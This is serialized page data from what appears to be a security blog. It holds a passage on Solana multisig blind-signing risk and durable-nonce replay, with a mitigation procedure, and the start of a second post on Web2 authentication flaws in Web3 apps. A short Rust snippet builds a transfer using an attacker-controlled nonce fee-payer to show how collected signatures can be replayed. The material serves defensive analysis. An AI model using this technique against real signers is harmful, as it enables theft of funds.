managed ",{"type":25,"tag":162,"props":72465,"children":72468},{"href":72466,"rel":72467},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[166],[72469],{"type":31,"value":72470},"by the system program",{"type":31,"value":72472},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":25,"tag":38,"props":72474,"children":72475},{},[72476,72478,72485],{"type":31,"value":72477},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":25,"tag":162,"props":72479,"children":72482},{"href":72480,"rel":72481},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[166],[72483],{"type":31,"value":72484},"based on the current blockhash",{"type":31,"value":72486},", and cannot be predicted in advance.",{"type":25,"tag":206,"props":72488,"children":72490},{"className":6909,"code":72489,"language":6908,"meta":7,"style":7},"    let hash_queue = self.blockhash_queue.read().unwrap();\n    let last_blockhash = hash_queue.last_hash();\n    let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[72491],{"type":25,"tag":82,"props":72492,"children":72493},{"__ignoreMap":7},[72494,72546,72579],{"type":25,"tag":216,"props":72495,"children":72496},{"class":6916,"line":6917},[72497,72501,72505,72509,72513,72517,72522,72526,72530,72534,72538,72542],{"type":25,"tag":216,"props":72498,"children":72499},{"style":6930},[72500],{"type":31,"value":6933},{"type":25,"tag":216,"props":72502,"children":72503},{"style":6941},[72504],{"type":31,"value":72054},{"type":25,"tag":216,"props":72506,"children":72507},{"style":6947},[72508],{"type":31,"value":6950},{"type":25,"tag":216,"props":72510,"children":72511},{"style":6930},[72512],{"type":31,"value":17748},{"type":25,"tag":216,"props":72514,"children":72515},{"style":6947},[72516],{"type":31,"value":179},{"type":25,"tag":216,"props":72518,"children":72519},{"style":6958},[72520],{"type":31,"value":72521},"blockhash_queue",{"type":25,"tag":216,"props":72523,"children":72524},{"style":6947},[72525],{"type":31,"value":179},{"type":25,"tag":216,"props":72527,"children":72528},{"style":7041},[72529],{"type":31,"value":64602},{"type":25,"tag":216,"props":72531,"children":72532},{"style":6958},[72533],{"type":31,"value":17830},{"type":25,"tag":216,"props":72535,"children":72536},{"style":6947},[72537],{"type":31,"value":179},{"type":25,"tag":216,"props":72539,"children":72540},{"style":7041},[72541],{"type":31,"value":7622},{"type":25,"tag":216,"props":72543,"children":72544},{"style":6958},[72545],{"type":31,"value":7627},{"type":25,"tag":216,"props":72547,"children":72548},{"class":6916,"line":6763},[72549,72553,72558,72562,72566,72570,72575],{"type":25,"tag":216,"props":72550,"children":72551},{"style":6930},[72552],{"type":31,"value":6933},{"type":25,"tag":216,"props":72554,"children":72555},{"style":6941},[72556],{"type":31,"value":72557}," last_blockhash",{"type":25,"tag":216,"props":72559,"children":72560},{"style":6947},[72561],{"type":31,"value":6950},{"type":25,"tag":216,"props":72563,"children":72564},{"style":6941},[72565],{"type":31,"value":72054},{"type":25,"tag":216,"props":72567,"children":72568},{"style":6947},[72569],{"type":31,"value":179},{"type":25,"tag":216,"props":72571,"children":72572},{"style":7041},[72573],{"type":31,"value":72574},"last_hash",{"type":25,"tag":216,"props":72576,"children":72577},{"style":6958},[72578],{"type":31,"value":7627},{"type":25,"tag":216,"props":72580,"children":72581},{"class":6916,"line":6772},[72582,72586,72591,72595,72600,72604,72609,72613,72617,72622],{"type":25,"tag":216,"props":72583,"children":72584},{"style":6930},[72585],{"type":31,"value":6933},{"type":25,"tag":216,"props":72587,"children":72588},{"style":6941},[72589],{"type":31,"value":72590}," next_durable_nonce",{"type":25,"tag":216,"props":72592,"children":72593},{"style":6947},[72594],{"type":31,"value":6950},{"type":25,"tag":216,"props":72596,"children":72597},{"style":7369},[72598],{"type":31,"value":72599}," DurableNonce",{"type":25,"tag":216,"props":72601,"children":72602},{"style":6947},[72603],{"type":31,"value":7432},{"type":25,"tag":216,"props":72605,"children":72606},{"style":7041},[72607],{"type":31,"value":72608},"from_blockhash",{"type":25,"tag":216,"props":72610,"children":72611},{"style":6958},[72612],{"type":31,"value":1844},{"type":25,"tag":216,"props":72614,"children":72615},{"style":6947},[72616],{"type":31,"value":7053},{"type":25,"tag":216,"props":72618,"children":72619},{"style":6941},[72620],{"type":31,"value":72621},"last_blockhash",{"type":25,"tag":216,"props":72623,"children":72624},{"style":6958},[72625],{"type":31,"value":7791},{"type":25,"tag":38,"props":72627,"children":72628},{},[72629,72631,72636],{"type":31,"value":72630},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":25,"tag":64,"props":72632,"children":72633},{},[72634],{"type":31,"value":72635},"can",{"type":31,"value":72637}," be saved and reused.",{"type":25,"tag":26,"props":72639,"children":72641},{"id":72640},"threat-model",[72642],{"type":31,"value":72643},"Threat Model",{"type":25,"tag":38,"props":72645,"children":72646},{},[72647],{"type":31,"value":72648},"Let's consider a simplified form of the original question.",{"type":25,"tag":6705,"props":72650,"children":72651},{},[72652,72657,72662],{"type":25,"tag":2037,"props":72653,"children":72654},{},[72655],{"type":31,"value":72656},"We have a N/M multisig",{"type":25,"tag":2037,"props":72658,"children":72659},{},[72660],{"type":31,"value":72661},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":25,"tag":2037,"props":72663,"children":72664},{},[72665],{"type":31,"value":72666},"We can accurately query chain state.",{"type":25,"tag":38,"props":72668,"children":72669},{},[72670],{"type":31,"value":72671},"Can we safely sign transactions?",{"type":25,"tag":38,"props":72673,"children":72674},{},[72675],{"type":31,"value":72676},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":25,"tag":38,"props":72678,"children":72679},{},[72680,72682,72688,72690,72697],{"type":31,"value":72681},"Durable nonces require an onchain account, and it's possible to use a ",{"type":25,"tag":82,"props":72683,"children":72685},{"className":72684},[],[72686],{"type":31,"value":72687},"getProgramAccounts",{"type":31,"value":72689}," call to validate if your signer ",{"type":25,"tag":162,"props":72691,"children":72694},{"href":72692,"rel":72693},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[166],[72695],{"type":31,"value":72696},"has an associated durable nonce",{"type":31,"value":179},{"type":25,"tag":206,"props":72699,"children":72701},{"className":39887,"code":72700,"language":39889,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n  // The system program owns all nonce accounts.\n  SYSTEM_PROGRAM_ADDRESS,\n  {\n    filters: [\n      {\n        // Nonce accounts are exactly 80 bytes long\n        dataSize: 80,\n      },\n      {\n        // The authority's 32-byte public key is written\n        // into bytes 8-40 of the nonce's account data.\n        memcmp: {\n          bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n          offset: 8,\n        },\n      },\n    ],\n  }\n);\n",[72702],{"type":25,"tag":82,"props":72703,"children":72704},{"__ignoreMap":7},[72705,72752,72788,72796,72808,72816,72828,72836,72844,72861,72868,72875,72883,72891,72903,72929,72946,72953,72960,72968,72975],{"type":25,"tag":216,"props":72706,"children":72707},{"class":6916,"line":6917},[72708,72712,72717,72721,72725,72730,72734,72739,72743,72748],{"type":25,"tag":216,"props":72709,"children":72710},{"style":6930},[72711],{"type":31,"value":13605},{"type":25,"tag":216,"props":72713,"children":72714},{"style":6941},[72715],{"type":31,"value":72716}," connection",{"type":25,"tag":216,"props":72718,"children":72719},{"style":6947},[72720],{"type":31,"value":6950},{"type":25,"tag":216,"props":72722,"children":72723},{"style":6930},[72724],{"type":31,"value":35889},{"type":25,"tag":216,"props":72726,"children":72727},{"style":7041},[72728],{"type":31,"value":72729}," Connection",{"type":25,"tag":216,"props":72731,"children":72732},{"style":6958},[72733],{"type":31,"value":1844},{"type":25,"tag":216,"props":72735,"children":72736},{"style":7041},[72737],{"type":31,"value":72738},"clusterApiUrl",{"type":25,"tag":216,"props":72740,"children":72741},{"style":6958},[72742],{"type":31,"value":1844},{"type":25,"tag":216,"props":72744,"children":72745},{"style":8199},[72746],{"type":31,"value":72747},"'testnet'",{"type":25,"tag":216,"props":72749,"children":72750},{"style":6958},[72751],{"type":31,"value":11169},{"type":25,"tag":216,"props":72753,"children":72754},{"class":6916,"line":6763},[72755,72759,72764,72768,72772,72776,72780,72784],{"type":25,"tag":216,"props":72756,"children":72757},{"style":6930},[72758],{"type":31,"value":13605},{"type":25,"tag":216,"props":72760,"children":72761},{"style":6941},[72762],{"type":31,"value":72763}," nonceAccounts",{"type":25,"tag":216,"props":72765,"children":72766},{"style":6947},[72767],{"type":31,"value":6950},{"type":25,"tag":216,"props":72769,"children":72770},{"style":6967},[72771],{"type":31,"value":40168},{"type":25,"tag":216,"props":72773,"children":72774},{"style":6941},[72775],{"type":31,"value":72716},{"type":25,"tag":216,"props":72777,"children":72778},{"style":6958},[72779],{"type":31,"value":179},{"type":25,"tag":216,"props":72781,"children":72782},{"style":7041},[72783],{"type":31,"value":72687},{"type":25,"tag":216,"props":72785,"children":72786},{"style":6958},[72787],{"type":31,"value":7414},{"type":25,"tag":216,"props":72789,"children":72790},{"class":6916,"line":6772},[72791],{"type":25,"tag":216,"props":72792,"children":72793},{"style":6921},[72794],{"type":31,"value":72795},"  // The system program owns all nonce accounts.\n",{"type":25,"tag":216,"props":72797,"children":72798},{"class":6916,"line":6999},[72799,72804],{"type":25,"tag":216,"props":72800,"children":72801},{"style":6941},[72802],{"type":31,"value":72803},"  SYSTEM_PROGRAM_ADDRESS",{"type":25,"tag":216,"props":72805,"children":72806},{"style":6958},[72807],{"type":31,"value":7459},{"type":25,"tag":216,"props":72809,"children":72810},{"class":6916,"line":7104},[72811],{"type":25,"tag":216,"props":72812,"children":72813},{"style":6958},[72814],{"type":31,"value":72815},"  {\n",{"type":25,"tag":216,"props":72817,"children":72818},{"class":6916,"line":7210},[72819,72824],{"type":25,"tag":216,"props":72820,"children":72821},{"style":6941},[72822],{"type":31,"value":72823},"    filters:",{"type":25,"tag":216,"props":72825,"children":72826},{"style":6958},[72827],{"type":31,"value":29573},{"type":25,"tag":216,"props":72829,"children":72830},{"class":6916,"line":7238},[72831],{"type":25,"tag":216,"props":72832,"children":72833},{"style":6958},[72834],{"type":31,"value":72835},"      {\n",{"type":25,"tag":216,"props":72837,"children":72838},{"class":6916,"line":7251},[72839],{"type":25,"tag":216,"props":72840,"children":72841},{"style":6921},[72842],{"type":31,"value":72843},"        // Nonce accounts are exactly 80 bytes long\n",{"type":25,"tag":216,"props":72845,"children":72846},{"class":6916,"line":7269},[72847,72852,72857],{"type":25,"tag":216,"props":72848,"children":72849},{"style":6941},[72850],{"type":31,"value":72851},"        dataSize:",{"type":25,"tag":216,"props":72853,"children":72854},{"style":6983},[72855],{"type":31,"value":72856}," 80",{"type":25,"tag":216,"props":72858,"children":72859},{"style":6958},[72860],{"type":31,"value":7459},{"type":25,"tag":216,"props":72862,"children":72863},{"class":6916,"line":7290},[72864],{"type":25,"tag":216,"props":72865,"children":72866},{"style":6958},[72867],{"type":31,"value":41156},{"type":25,"tag":216,"props":72869,"children":72870},{"class":6916,"line":7299},[72871],{"type":25,"tag":216,"props":72872,"children":72873},{"style":6958},[72874],{"type":31,"value":72835},{"type":25,"tag":216,"props":72876,"children":72877},{"class":6916,"line":7551},[72878],{"type":25,"tag":216,"props":72879,"children":72880},{"style":6921},[72881],{"type":31,"value":72882},"        // The authority's 32-byte public key is written\n",{"type":25,"tag":216,"props":72884,"children":72885},{"class":6916,"line":7568},[72886],{"type":25,"tag":216,"props":72887,"children":72888},{"style":6921},[72889],{"type":31,"value":72890},"        // into bytes 8-40 of the nonce's account data.\n",{"type":25,"tag":216,"props":72892,"children":72893},{"class":6916,"line":7585},[72894,72899],{"type":25,"tag":216,"props":72895,"children":72896},{"style":6941},[72897],{"type":31,"value":72898},"        memcmp:",{"type":25,"tag":216,"props":72900,"children":72901},{"style":6958},[72902],{"type":31,"value":7235},{"type":25,"tag":216,"props":72904,"children":72905},{"class":6916,"line":7598},[72906,72911,72916,72920,72925],{"type":25,"tag":216,"props":72907,"children":72908},{"style":6941},[72909],{"type":31,"value":72910},"          bytes:",{"type":25,"tag":216,"props":72912,"children":72913},{"style":6941},[72914],{"type":31,"value":72915}," AUTHORITY_PUBLIC_KEY",{"type":25,"tag":216,"props":72917,"children":72918},{"style":6958},[72919],{"type":31,"value":179},{"type":25,"tag":216,"props":72921,"children":72922},{"style":7041},[72923],{"type":31,"value":72924},"toBase58",{"type":25,"tag":216,"props":72926,"children":72927},{"style":6958},[72928],{"type":31,"value":7442},{"type":25,"tag":216,"props":72930,"children":72931},{"class":6916,"line":7607},[72932,72937,72942],{"type":25,"tag":216,"props":72933,"children":72934},{"style":6941},[72935],{"type":31,"value":72936},"          offset:",{"type":25,"tag":216,"props":72938,"children":72939},{"style":6983},[72940],{"type":31,"value":72941}," 8",{"type":25,"tag":216,"props":72943,"children":72944},{"style":6958},[72945],{"type":31,"value":7459},{"type":25,"tag":216,"props":72947,"children":72948},{"class":6916,"line":7630},[72949],{"type":25,"tag":216,"props":72950,"children":72951},{"style":6958},[72952],{"type":31,"value":29325},{"type":25,"tag":216,"props":72954,"children":72955},{"class":6916,"line":7639},[72956],{"type":25,"tag":216,"props":72957,"children":72958},{"style":6958},[72959],{"type":31,"value":41156},{"type":25,"tag":216,"props":72961,"children":72962},{"class":6916,"line":7648},[72963],{"type":25,"tag":216,"props":72964,"children":72965},{"style":6958},[72966],{"type":31,"value":72967},"    ],\n",{"type":25,"tag":216,"props":72969,"children":72970},{"class":6916,"line":7716},[72971],{"type":25,"tag":216,"props":72972,"children":72973},{"style":6958},[72974],{"type":31,"value":9817},{"type":25,"tag":216,"props":72976,"children":72977},{"class":6916,"line":7724},[72978],{"type":25,"tag":216,"props":72979,"children":72980},{"style":6958},[72981],{"type":31,"value":7791},{"type":25,"tag":38,"props":72983,"children":72984},{},[72985,72987,72995],{"type":31,"value":72986},"Unfortunately this is not sufficient",{"type":25,"tag":19425,"props":72988,"children":72989},{},[72990],{"type":25,"tag":162,"props":72991,"children":72993},{"href":33578,"ariaDescribedBy":72992,"dataFootnoteRef":7,"id":33580},[19432],[72994],{"type":31,"value":184},{"type":31,"value":72996},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":25,"tag":206,"props":72998,"children":73000},{"className":6909,"code":72999,"language":6908,"meta":7,"style":7},"    let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n    let message =\n        Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n            .serialize();\n",[73001],{"type":25,"tag":82,"props":73002,"children":73003},{"__ignoreMap":7},[73004,73070,73086,73169],{"type":25,"tag":216,"props":73005,"children":73006},{"class":6916,"line":6917},[73007,73011,73015,73019,73024,73028,73032,73036,73040,73044,73048,73052,73057,73061,73066],{"type":25,"tag":216,"props":73008,"children":73009},{"style":6930},[73010],{"type":31,"value":6933},{"type":25,"tag":216,"props":73012,"children":73013},{"style":6941},[73014],{"type":31,"value":47330},{"type":25,"tag":216,"props":73016,"children":73017},{"style":6947},[73018],{"type":31,"value":6950},{"type":25,"tag":216,"props":73020,"children":73021},{"style":6958},[73022],{"type":31,"value":73023}," system_instruction",{"type":25,"tag":216,"props":73025,"children":73026},{"style":6947},[73027],{"type":31,"value":7432},{"type":25,"tag":216,"props":73029,"children":73030},{"style":7041},[73031],{"type":31,"value":36079},{"type":25,"tag":216,"props":73033,"children":73034},{"style":6958},[73035],{"type":31,"value":1844},{"type":25,"tag":216,"props":73037,"children":73038},{"style":6947},[73039],{"type":31,"value":7053},{"type":25,"tag":216,"props":73041,"children":73042},{"style":6941},[73043],{"type":31,"value":23427},{"type":25,"tag":216,"props":73045,"children":73046},{"style":6958},[73047],{"type":31,"value":7020},{"type":25,"tag":216,"props":73049,"children":73050},{"style":6947},[73051],{"type":31,"value":7053},{"type":25,"tag":216,"props":73053,"children":73054},{"style":6941},[73055],{"type":31,"value":73056},"ledger_base_pubkey",{"type":25,"tag":216,"props":73058,"children":73059},{"style":6958},[73060],{"type":31,"value":7020},{"type":25,"tag":216,"props":73062,"children":73063},{"style":6983},[73064],{"type":31,"value":73065},"42",{"type":25,"tag":216,"props":73067,"children":73068},{"style":6958},[73069],{"type":31,"value":7791},{"type":25,"tag":216,"props":73071,"children":73072},{"class":6916,"line":6763},[73073,73077,73082],{"type":25,"tag":216,"props":73074,"children":73075},{"style":6930},[73076],{"type":31,"value":6933},{"type":25,"tag":216,"props":73078,"children":73079},{"style":6941},[73080],{"type":31,"value":73081}," message",{"type":25,"tag":216,"props":73083,"children":73084},{"style":6947},[73085],{"type":31,"value":39812},{"type":25,"tag":216,"props":73087,"children":73088},{"class":6916,"line":6772},[73089,73094,73098,73103,73107,73111,73115,73119,73123,73127,73131,73135,73140,73144,73148,73153,73157,73161,73165],{"type":25,"tag":216,"props":73090,"children":73091},{"style":7369},[73092],{"type":31,"value":73093},"        Message",{"type":25,"tag":216,"props":73095,"children":73096},{"style":6947},[73097],{"type":31,"value":7432},{"type":25,"tag":216,"props":73099,"children":73100},{"style":7041},[73101],{"type":31,"value":73102},"new_with_nonce",{"type":25,"tag":216,"props":73104,"children":73105},{"style":6958},[73106],{"type":31,"value":1844},{"type":25,"tag":216,"props":73108,"children":73109},{"style":7041},[73110],{"type":31,"value":7843},{"type":25,"tag":216,"props":73112,"children":73113},{"style":6958},[73114],{"type":31,"value":7695},{"type":25,"tag":216,"props":73116,"children":73117},{"style":6941},[73118],{"type":31,"value":47640},{"type":25,"tag":216,"props":73120,"children":73121},{"style":6958},[73122],{"type":31,"value":27000},{"type":25,"tag":216,"props":73124,"children":73125},{"style":7369},[73126],{"type":31,"value":45979},{"type":25,"tag":216,"props":73128,"children":73129},{"style":6958},[73130],{"type":31,"value":1844},{"type":25,"tag":216,"props":73132,"children":73133},{"style":6947},[73134],{"type":31,"value":7053},{"type":25,"tag":216,"props":73136,"children":73137},{"style":6941},[73138],{"type":31,"value":73139},"evil_nonce_authority",{"type":25,"tag":216,"props":73141,"children":73142},{"style":6958},[73143],{"type":31,"value":5400},{"type":25,"tag":216,"props":73145,"children":73146},{"style":6947},[73147],{"type":31,"value":7053},{"type":25,"tag":216,"props":73149,"children":73150},{"style":6941},[73151],{"type":31,"value":73152},"nonce_account",{"type":25,"tag":216,"props":73154,"children":73155},{"style":6958},[73156],{"type":31,"value":7020},{"type":25,"tag":216,"props":73158,"children":73159},{"style":6947},[73160],{"type":31,"value":7053},{"type":25,"tag":216,"props":73162,"children":73163},{"style":6941},[73164],{"type":31,"value":73139},{"type":25,"tag":216,"props":73166,"children":73167},{"style":6958},[73168],{"type":31,"value":7101},{"type":25,"tag":216,"props":73170,"children":73171},{"class":6916,"line":6999},[73172,73176,73181],{"type":25,"tag":216,"props":73173,"children":73174},{"style":6947},[73175],{"type":31,"value":7110},{"type":25,"tag":216,"props":73177,"children":73178},{"style":7041},[73179],{"type":31,"value":73180},"serialize",{"type":25,"tag":216,"props":73182,"children":73183},{"style":6958},[73184],{"type":31,"value":7627},{"type":25,"tag":38,"props":73186,"children":73187},{},[73188,73190,73197],{"type":31,"value":73189},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":25,"tag":162,"props":73191,"children":73194},{"href":73192,"rel":73193},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[166],[73195],{"type":31,"value":73196},"logs the fee-payer here",{"type":31,"value":179},{"type":25,"tag":206,"props":73199,"children":73201},{"className":20467,"code":73200,"language":2248,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n    return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[73202],{"type":25,"tag":82,"props":73203,"children":73204},{"__ignoreMap":7},[73205,73264,73320],{"type":25,"tag":216,"props":73206,"children":73207},{"class":6916,"line":6917},[73208,73212,73217,73221,73225,73230,73234,73239,73243,73247,73251,73255,73260],{"type":25,"tag":216,"props":73209,"children":73210},{"style":6930},[73211],{"type":31,"value":33640},{"type":25,"tag":216,"props":73213,"children":73214},{"style":7041},[73215],{"type":31,"value":73216}," print_config_show_authority",{"type":25,"tag":216,"props":73218,"children":73219},{"style":6958},[73220],{"type":31,"value":1844},{"type":25,"tag":216,"props":73222,"children":73223},{"style":6930},[73224],{"type":31,"value":13605},{"type":25,"tag":216,"props":73226,"children":73227},{"style":6958},[73228],{"type":31,"value":73229}," PrintConfig",{"type":25,"tag":216,"props":73231,"children":73232},{"style":6947},[73233],{"type":31,"value":8513},{"type":25,"tag":216,"props":73235,"children":73236},{"style":6941},[73237],{"type":31,"value":73238}," print_config",{"type":25,"tag":216,"props":73240,"children":73241},{"style":6958},[73242],{"type":31,"value":7020},{"type":25,"tag":216,"props":73244,"children":73245},{"style":6930},[73246],{"type":31,"value":13605},{"type":25,"tag":216,"props":73248,"children":73249},{"style":6958},[73250],{"type":31,"value":24811},{"type":25,"tag":216,"props":73252,"children":73253},{"style":6947},[73254],{"type":31,"value":8513},{"type":25,"tag":216,"props":73256,"children":73257},{"style":6941},[73258],{"type":31,"value":73259}," authority",{"type":25,"tag":216,"props":73261,"children":73262},{"style":6958},[73263],{"type":31,"value":18755},{"type":25,"tag":216,"props":73265,"children":73266},{"class":6916,"line":6763},[73267,73271,73275,73279,73284,73288,73292,73297,73301,73306,73310,73315],{"type":25,"tag":216,"props":73268,"children":73269},{"style":6967},[73270],{"type":31,"value":20941},{"type":25,"tag":216,"props":73272,"children":73273},{"style":6941},[73274],{"type":31,"value":73238},{"type":25,"tag":216,"props":73276,"children":73277},{"style":6958},[73278],{"type":31,"value":17708},{"type":25,"tag":216,"props":73280,"children":73281},{"style":6941},[73282],{"type":31,"value":73283},"expert_mode",{"type":25,"tag":216,"props":73285,"children":73286},{"style":6947},[73287],{"type":31,"value":27648},{"type":25,"tag":216,"props":73289,"children":73290},{"style":6947},[73291],{"type":31,"value":16814},{"type":25,"tag":216,"props":73293,"children":73294},{"style":7041},[73295],{"type":31,"value":73296},"pubkeys_equal",{"type":25,"tag":216,"props":73298,"children":73299},{"style":6958},[73300],{"type":31,"value":1844},{"type":25,"tag":216,"props":73302,"children":73303},{"style":6941},[73304],{"type":31,"value":73305},"print_config",{"type":25,"tag":216,"props":73307,"children":73308},{"style":6958},[73309],{"type":31,"value":17708},{"type":25,"tag":216,"props":73311,"children":73312},{"style":6941},[73313],{"type":31,"value":73314},"signer_pubkey",{"type":25,"tag":216,"props":73316,"children":73317},{"style":6958},[73318],{"type":31,"value":73319},", authority);\n",{"type":25,"tag":216,"props":73321,"children":73322},{"class":6916,"line":6772},[73323],{"type":25,"tag":216,"props":73324,"children":73325},{"style":6958},[73326],{"type":31,"value":7868},{"type":25,"tag":38,"props":73328,"children":73329},{},[73330],{"type":31,"value":73331},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":25,"tag":38,"props":73333,"children":73334},{},[73335],{"type":31,"value":73336},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":25,"tag":38,"props":73338,"children":73339},{},[73340],{"type":31,"value":73341},"We can then use the following procedure.",{"type":25,"tag":6705,"props":73343,"children":73344},{},[73345,73350,73355,73360,73365],{"type":25,"tag":2037,"props":73346,"children":73347},{},[73348],{"type":31,"value":73349},"Ensure all signers have no durable nonce accounts.",{"type":25,"tag":2037,"props":73351,"children":73352},{},[73353],{"type":31,"value":73354},"The first signer signs and submits the transaction.",{"type":25,"tag":2037,"props":73356,"children":73357},{},[73358],{"type":31,"value":73359},"Wait two minutes for all recent blockhashes to expire.",{"type":25,"tag":2037,"props":73361,"children":73362},{},[73363],{"type":31,"value":73364},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":25,"tag":2037,"props":73366,"children":73367},{},[73368],{"type":31,"value":73369},"Repeat steps 2 to 4 for each signer",{"type":25,"tag":26,"props":73371,"children":73373},{"id":73372},"beyond",[73374],{"type":31,"value":73375},"Beyond",{"type":25,"tag":38,"props":73377,"children":73378},{},[73379],{"type":31,"value":73380},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":25,"tag":38,"props":73382,"children":73383},{},[73384,73386,73393],{"type":31,"value":73385},"For example, pcaversaccio wrote a tool to ",{"type":25,"tag":162,"props":73387,"children":73390},{"href":73388,"rel":73389},"https://github.com/pcaversaccio/safe-tx-hashes-util",[166],[73391],{"type":31,"value":73392},"validate Safe transaction hashes",{"type":31,"value":73394},". As the space matures, we hope more open source tooling will come to light.",{"type":25,"tag":22375,"props":73396,"children":73398},{"className":73397,"dataFootnotes":7},[22378],[73399,73404],{"type":25,"tag":26,"props":73400,"children":73402},{"className":73401,"id":19432},[22383],[73403],{"type":31,"value":22386},{"type":25,"tag":6705,"props":73405,"children":73406},{},[73407],{"type":25,"tag":2037,"props":73408,"children":73409},{"id":34321},[73410,73412,73420,73422],{"type":31,"value":73411},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":25,"tag":162,"props":73413,"children":73417},{"href":73414,"rel":73415,":style":73416},"https://twitter.com/PierreArowana",[166],"color: #B1D0EE; text-decoration: underline;",[73418],{"type":31,"value":73419},"@PierreArowana",{"type":31,"value":73421}," for pointing this out to me. ",{"type":25,"tag":162,"props":73423,"children":73425},{"href":34349,"ariaLabel":22489,"className":73424,"dataFootnoteBackref":7},[22491],[73426],{"type":31,"value":22494},{"type":25,"tag":9310,"props":73428,"children":73429},{},[73430],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":73432},[73433,73437,73438,73439],{"id":71629,"depth":6763,"text":71632,"children":73434},[73435,73436],{"id":71640,"depth":6772,"text":71643},{"id":71919,"depth":6772,"text":71922},{"id":72640,"depth":6763,"text":72643},{"id":73372,"depth":6763,"text":73375},{"id":19432,"depth":6763,"text":22386},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":73444,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":73445,"description":73446,"date":73447,"author":73448,"image":73449,"isFeatured":16,"onBlogPage":16,"tags":73451,"body":73452,"_type":6792,"_id":75150,"_source":6794,"_file":75151,"_stem":75152,"_extension":6797},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[35157,35156],{"src":73450},"/posts/web2-in-web3/title.jpg",[36097],{"type":22,"children":73453,"toc":75132},[73454,73459,73464,73469,73495,73501,73506,73512,73533,73539,73544,73551,73564,73594,73600,73644,73651,73657,73690,73711,73719,73738,73745,73750,73756,73761,73766,73791,73796,73802,73808,73829,73835,73862,73890,73897,73902,73907,74252,74256,74278,74284,74305,74319,74332,74337,74353,74358,75087,75092,75097,75102,75114,75118,75123,75128],{"type":25,"tag":38,"props":73455,"children":73456},{},[73457],{"type":31,"value":73458},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":25,"tag":38,"props":73460,"children":73461},{},[73462],{"type":31,"value":73463},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":25,"tag":38,"props":73465,"children":73466},{},[73467],{"type":31,"value":73468},"In this article, we will discuss three cases we discovered:",{"type":25,"tag":6705,"props":73470,"children":73471},{},[73472,73477,73490],{"type":25,"tag":2037,"props":73473,"children":73474},{},[73475],{"type":31,"value":73476},"OAuth Logic Vulnerability on an Authentication Provider",{"type":25,"tag":2037,"props":73478,"children":73479},{},[73480,73482,73488],{"type":31,"value":73481},"Supabase ",{"type":25,"tag":82,"props":73483,"children":73485},{"className":73484},[],[73486],{"type":31,"value":73487},"user_metadata",{"type":31,"value":73489}," misconfiguration",{"type":25,"tag":2037,"props":73491,"children":73492},{},[73493],{"type":31,"value":73494},"OAuth abuse in localhost development environment",{"type":25,"tag":26,"props":73496,"children":73498},{"id":73497},"abusing-oauth-authentication-logic",[73499],{"type":31,"value":73500},"Abusing OAuth Authentication Logic",{"type":25,"tag":38,"props":73502,"children":73503},{},[73504],{"type":31,"value":73505},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":25,"tag":607,"props":73507,"children":73509},{"id":73508},"web3auth-introduction",[73510],{"type":31,"value":73511},"Web3Auth Introduction",{"type":25,"tag":38,"props":73513,"children":73514},{},[73515,73522,73524,73531],{"type":25,"tag":162,"props":73516,"children":73519},{"href":73517,"rel":73518},"https://web3auth.io/",[166],[73520],{"type":31,"value":73521},"Web3Auth",{"type":31,"value":73523}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports 